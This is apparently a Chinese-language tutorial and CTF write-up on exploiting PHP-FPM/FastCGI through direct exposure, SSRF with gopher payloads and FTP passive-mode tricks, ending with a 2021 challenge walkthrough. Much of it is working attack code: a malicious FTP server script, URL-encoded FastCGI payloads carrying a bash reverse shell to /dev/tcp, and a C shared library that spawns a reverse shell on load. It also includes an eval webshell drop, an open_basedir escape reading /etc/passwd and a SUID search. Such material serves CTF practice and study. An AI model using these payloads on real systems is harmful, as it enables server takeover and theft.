初识php-fpm
在我们早期的web服务器只处理html等静态文件 后来随着技术发展 出现了像php等动态语言 但是web
服务器并不能处理他 这个时候就需要一个叫做php解释器的东西来处理 但是php解释器如何与网络服务
器进行通信呢?随之出现了CGI协议 可以实现语言解释器与web服务器的通信 例如php-cgi,再后来就
发展出了CGI的改进版本Fast-cgi通讯协议。
而php-fpm全称为php-Fastcgi Process Manager 顾名思义他是Fast-cgi的实现 并提供了进程管理的功
能他负责按照Fast-cgi的协议将TCP流解析成php-fpm真实的数据,可以侦听9000端口 我们可以自己构
造Fast-cgi协议 并php-fpm进行通信。
php-fpm未授权访问突破
简单的来说 nginx会把我们的请求变成key-value键值对 然后我们通过设置auto_prepend_file
= php://input且allow_url_include = On 然后将我们需要执行的代码放在Body中 即可执行任
意代码 最后更改的环境变量大概如下。
- {
- 'GATEWAY_INTERFACE': 'FastCGI/1.0',
- 'REQUEST_METHOD': 'GET',
- 'SCRIPT_FILENAME': '/var/www/html/index.php',
- 'SCRIPT_NAME': '/index.php',
- 'QUERY_STRING': '?a=1&b=2',
- 'REQUEST_URI': '/index.php?a=1&b=2',
- 'DOCUMENT_ROOT': '/var/www/html',
- 'SERVER_SOFTWARE': 'php/fcgiclient',
- 'REMOTE_ADDR': '127.0.0.1',
- 'REMOTE_PORT': '12345',
- 'SERVER_ADDR': '127.0.0.1',
- 'SERVER_PORT': '80',
- 'SERVER_NAME': "localhost",
- 'SERVER_PROTOCOL': 'HTTP/1.1'
- 'PHP_VALUE': 'auto_prepend_file = php://input',
- 'PHP_ADMIN_VALUE': 'allow_url_include = On'
- }
复制代码
如果PHP-FPM是直接绑定在公网(0.0.0.0)上的 那么我们就可以伪装成Web服务器中间件来让
PHP-FPM执行我们想执行的恶意代码 这里phith0n大神写好了exp可以一键打。
- python fpm.py ip -p 9000 /var/www/html/index.php -c '<?php echo `id`;exit;?>'
复制代码
可以观察到攻击之后auto_prepend_file和allow_url_include的值已经被修改了
ssrf中的FPM / FastCGI
上面说了如果php-fpm是是绑定在127.0.0.1就可以避免暴露在公网被攻击但是如果ssrf
存在存在的话 我们还是可以通过ssrf突破攻击内网的php-fpm。
以下是一个具有ssrf防御的代码
- <?php
- highlight_file(__FILE__);
- $url = $_GET['url'];
- $curl = curl_init($url);
- curl_setopt($curl, CURLOPT_HEADER, 0);
- $responseText = curl_exec($curl);
- echo $responseText;
- curl_close($curl);?>
复制代码
然后用Gopherus生成payload
- python gopherus.py --exploit fastcgi
复制代码
然后填一个已知文件和需要执行的命令即可
编码后给url传即可
ftp攻击FPM / FastCGI
如果目标主机上正在运行着PHP-FPM并且有一个file_put_contents()函数的参数是可控的我们上面是
利用了gopher://协议,但是file_put_contents()函数并不支持他,这里可以使用的是ftp协议。
这里使用的是FTP协议的被动模式:客户端试图从FTP服务器上读取/写入一个文件 服务器会通知客户端将文件
的内容读取到一个指定的IP和端口上,我们可以指定到127.0.0.1:9000 这样就可以向目标PHP-FPM主机本地
的发送一个任意的数据包 从而执行代码 造成SSRF。
如果有以下代码
- <?php
- file_put_contents($_GET['file'], $_GET['data']);
复制代码
我们先用gopherus生成一个反弹shell的payload,截取_后面的部分
关于FTP的返回码 我们看到227
- Entering Passive Mode <h1,h2,h3,h4,p1,p2> 进入被动模式(h1,h2,h3,h4,p1,p2)
复制代码
我们可以用他来进入被动模式 h和p分别为地址和端口 建造一个恶意的ftp服务器
- import socket
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(('0.0.0.0', 123))
- s.listen(1)
- conn, addr = s.accept()
- conn.send(b'220 welcome\n')
- conn.send(b'331 Please specify the password.\n')
- conn.send(b'230 Login successful.\n')
- conn.send(b'200 Switching to Binary mode.\n')
- conn.send(b'550 Could not get the file size.\n')
- conn.send(b'150 ok\n')
- conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
- conn.send(b'150 Permission denied.\n')
- conn.send(b'221 Goodbye.\n')
- conn.close()
复制代码
启动服务器之后再监听反弹的端口
- http://ip:8080/ftp.php?file=ftp://@ip:123/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00
- %00%00%00%01%04%00%01%01%0F%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B
- %09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%
- 04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20
- %3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F!SCRIPT_FILENAME/usr/share/nginx/htm
- l/phpinfo.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%
- 00%01%05%00%01%00k%04%00%3C%3Fphp%20system(%27bash%20-c%20%22bash%20-i%20%3E%26
- %20/dev/tcp/ip/1234%200%3E%261%22%27)%3Bdie(%27-----Made-by-SpyD3r-----%0A%27)%3B%3F%
- 3E%00%00%00%00
复制代码
加载so扩展
为什么要加载so扩展 如果disable_functions过滤了命令执行的函数 我们再用脚本fpm.py打
观察到虽然auto_prepend_file和allow_url_include的值已经被修改了 按理正常来说就是我们可以执
行任意代码但是这里无法bypass disable,所以需要加载一个so扩展来bypass。
蚁剑插件原理
蚁剑是有一个php-fpm绕过disable的插件
蚁剑的bypass插件他这里的话是通过/bin/sh -c php -n -S 127.0.0.1:60049 -t /var/www/html 起了一个
新的PHP Server -n就是不使用php.ini 从而实现了bypass disable_functions,然后在插件的源码可以看
到从133行起的exploit()函数里面 有一个生成扩展,上传扩展 然后最主要的部分是从197行开始构造请求
包攻击使用php-fpm加载扩展,关键代码如下。
- 197 var payload = `${FastCgiClient()};
- 198 $content="";
- 199 $client = new Client('${fpm_host}',${fpm_port});
- ...
- 211 'PHP_VALUE' => 'extension=${p}',
- 212 'PHP_ADMIN_VALUE' => 'extension=${p}',
复制代码
那么总结下来的整个攻击流程就是:首先生成扩展,攻击php-fpm执行扩展 然后就会在目标机器本地开启一个新的
web服务器 通过antproxy.php转发到无disable的php server上 此时就成功达成了bypass disable_function。
这个项目ant_php_extension可以获取我们的so扩展 我们这里需要通过编译之后生成 命令为phpize && ./configure
&& make 这里phpize需要是绝对路径 然后我们可以修改php-fpm的php.ini文件 在最后一行加入extension=/va
r/www/html/ant.so 表示加载这个扩展 再重启php-fpm 写一个php文件测试一下。
成功执行命令时即说明扩展成功加载 然后再把php.ini还原 尝试直接攻击php-fpm来修改其配
置项 脚本如下:https : //php.okawhio.repl.co/static/1.py
CTF译文
我们看到[[2021蓝帽杯] one_Pointer_php](https://buuoj.cn/challenges#
蓝帽杯2021] One Pointer PHP)这道题
首先给了两个文件
- add_api.php
- <?php
- include "user.php";
- if($user=unserialize($_COOKIE["data"])){
- $count[++$user->count]=1; // 数组$count的第几个属性赋值为1
- if($count[]=1){
- $user->count+=1;
- setcookie("data",serialize($user));
- }else{
- eval($_GET["backdoor"]);
- }
- }else{
- $user=new User;
- $user->count=1;
- setcookie("data",serialize($user));
- }?>
复制代码
user.php
- <?php
- class User{
- public $count;
- }?>
复制代码
首先第一个考点就是要进入else语句里面 利用的是PHP重复溢出绕过 我们给cookie传一个
- data=O:4:"User":1:{s:5:"count";i:9223372036854775806;}
复制代码
然后写一个木马进去
- /add_api.php?backdoor=file_put_contents("1.php","<?php%20eval(\$_POST[1])?>");
复制代码
看phpinfo之后发现大多数命令执行的函数都被禁了 但我们可以用chdir()与ini_set()读文件
- <?php
- mkdir('test');
- chdir('test');
- ini_set('open_basedir','..');
- chdir('..');chdir('..');chdir('..');chdir('..');
- ini_set('open_basedir','/');
- echo file_get_contents('/etc/passwd');?>
复制代码
读取/proc/self/cmdline发现当前进展是php-fpm 再读取/etc/nginx/sites-available/default
发现关键信息fastcgi_pass 127.0.0.1:9001 php-fpm绑定在了本地9001端口上
写一个so扩展
- #include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
- __attribute__ ((__constructor__)) void preload (void){
- system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
- }
复制代码
然后编译一下
- gcc a.c -fPIC -shared -o a.so
复制代码
把扩展上传到服务器上 然后用下面的脚本生成一个payloadhttps://php.okawhio.repl.co/static/2.py
然后我们通过构造file_put_contents()与我们vps上恶意的ftp服务器建立连接。
- /add_api.php?backdoor=$file%20=%20$_GET['file'];$data%20=%20$_GET['data'];file_put_contents($file,$data);
- &file=ftp://@ip:23/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00
- %01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SC
- RIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQU
- ERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0
- CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system
- %0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+a.so%0Adisable_classes+%3D+%0
- Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepen
- d_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REM
- OTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost
- %0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00
- %01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%
- 3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
复制代码
可以看到成功反弹了 然后
- find / -perm -u=s -type f 2>/dev/null
复制代码
查看具有suid的命令 php -a相互作用后直接读flag就行了
|